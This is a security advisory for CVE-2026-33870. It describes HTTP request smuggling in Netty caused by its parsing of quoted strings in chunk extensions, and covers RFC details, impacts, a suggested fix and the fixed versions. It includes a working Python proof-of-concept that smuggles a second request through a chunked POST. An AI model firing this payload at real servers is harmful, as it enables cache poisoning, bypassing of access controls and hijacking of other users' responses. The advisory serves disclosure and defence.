CVE-2026-33870: Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing
Summary
Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.
Background
This vulnerability is a new variant discovered during research into the "Funky Chunks" HTTP request smuggling techniques:
- <https://w4ke.info/2025/06/18/funky-chunks.html> - <https://w4ke.info/2025/10/29/funky-chunks-2.html>
The original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.
Technical Details
RFC 9110 Section 7.1.1 defines chunked transfer encoding:
chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF chunk-ext = ( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] ) chunk-ext-val = token / quoted-string
RFC 9110 Section 5.6.4 defines quoted-string:
quoted-string = DQUOTE ( qdtext / quoted-pair ) DQUOTE
Critically, the allowed character ranges within a quoted-string are:
qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text )
CR (%x0D) and LF (%x0A) bytes fall outside all of these ranges and are therefore not permitted inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a 400 Bad Request response (as Squid does, for example).
Vulnerability
Netty terminates chunk header parsing at \r\n inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.
Expected behavior (RFC-compliant): A request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.
Actual behavior (Netty):
Chunk: 1;a="value ^^^^^ parsing terminates here at \r\n (INCORRECT) Body: here"... is treated as body or the beginning of a subsequent request
The root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.
Proof of Concept
python #!/usr/bin/env python3 import socket
payload = ( b"POST / HTTP/1.1\r\n" b"Host: localhost\r\n" b"Transfer-Encoding: chunked\r\n" b"\r\n" b'1;a="\r\n' b"X\r\n" b"0\r\n" b"\r\n" b"GET /smuggled HTTP/1.1\r\n" b"Host: localhost\r\n" b"Content-Length: 11\r\n" b"\r\n" b'"\r\n' b"Y\r\n" b"0\r\n" b"\r\n" )
sock = socket.socket(socket.AFINET, socket.SOCKSTREAM) sock.settimeout(3) sock.connect(("127.0.0.1", 8080)) sock.sendall(payload)
response = b"" while True: try: chunk = sock.recv(4096) if not chunk: break response += chunk except socket.timeout: break
sock.close() print(f"Responses: {response.count(b'HTTP/')}") print(response.decode(errors="replace"))
Result: The server returns two HTTP responses from a single TCP connection, confirming request smuggling.
Parsing Breakdown
| Parser | Request 1 | Request 2 | |-----------------------|-------------------|------------------------------------| | Netty (vulnerable) | POST / body="X" | GET /smuggled (SMUGGLED) | | RFC-compliant parser | 400 Bad Request | (none — malformed request rejected)|
Impact
- Request Smuggling: An attacker can inject arbitrary HTTP requests into a connection. - Cache Poisoning: Smuggled responses may poison shared caches. - Access Control Bypass: Smuggled requests can circumvent frontend security controls. - Session Hijacking: Smuggled requests may intercept responses intended for other users.
Reproduction
1. Start the minimal proof-of-concept environment using the provided Docker configuration. 2. Execute the proof-of-concept script included in the attached archive.
Suggested Fix
The parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:
1. Read chunk-size. 2. If ';' is encountered, begin parsing extensions: a. For each byte before the terminating CRLF: - If CR (%x0D) or LF (%x0A) is encountered outside the final terminating CRLF, reject the request with 400 Bad Request. b. If the extension value begins with DQUOTE, validate that all enclosed bytes conform to the qdtext / quoted-pair grammar. 3. Only treat CRLF as the chunk header terminator when it appears outside any quoted-string context and contains no preceding illegal bytes.
Acknowledgments
Credit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.
Resources
- RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1) - Funky Chunks Research - Funky Chunks 2 Research
Attachments
!Vulnerability Diagram
javanetty.zip
Other sources
Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.132.Final and 4.2.10.Final, Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks. Versions 4.1.132.Final and 4.2.10.Final fix the issue.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
maven/io.netty:netty-codec-httpto a version that resolves this vulnerability.Fixed in 4.2.10.Final - Upgrade
Upgrade
maven/io.netty:netty-codec-httpto a version that resolves this vulnerability.Fixed in 4.1.132.Final - Upgrade
Upgrade
Nettyto a version that resolves this vulnerability.Fixed in 4.1.132.Final - Upgrade
Upgrade
Nettyto a version that resolves this vulnerability.Fixed in 4.2.10.Final - Configuration
Configure your HTTP front-end/parser to reject any request where CR (%x0D) or LF (%x0A) occurs within chunk extension values (including quoted-string chunk extension values), and respond with "400 Bad Request"; do not terminate parsing early at \r\n inside quoted strings.
HTTP/1.1 chunked transfer encoding parser (frontend/WAF/reverse proxy) Reject CR (%x0D) or LF (%x0A) bytes inside HTTP/1.1 chunk extension values = 400 Bad Request
Event History
Frequently Asked Questions
What is the severity of CVE-2026-33870?
CVE-2026-33870 is classified as a medium severity vulnerability.
How do I fix CVE-2026-33870?
To address CVE-2026-33870, upgrade to Netty versions 4.2.10.Final or 4.1.132.Final.
What types of attacks does CVE-2026-33870 enable?
CVE-2026-33870 enables HTTP request smuggling attacks due to incorrect parsing of quoted strings.
Which software packages are affected by CVE-2026-33870?
CVE-2026-33870 affects the io.netty:netty-codec-http package, specifically versions prior to 4.2.10.Final and below 4.1.132.Final.
How does CVE-2026-33870 impact HTTP communication?
CVE-2026-33870 impacts HTTP communication by allowing malicious actors to manipulate request messages due to parsing flaws, potentially leading to security breaches.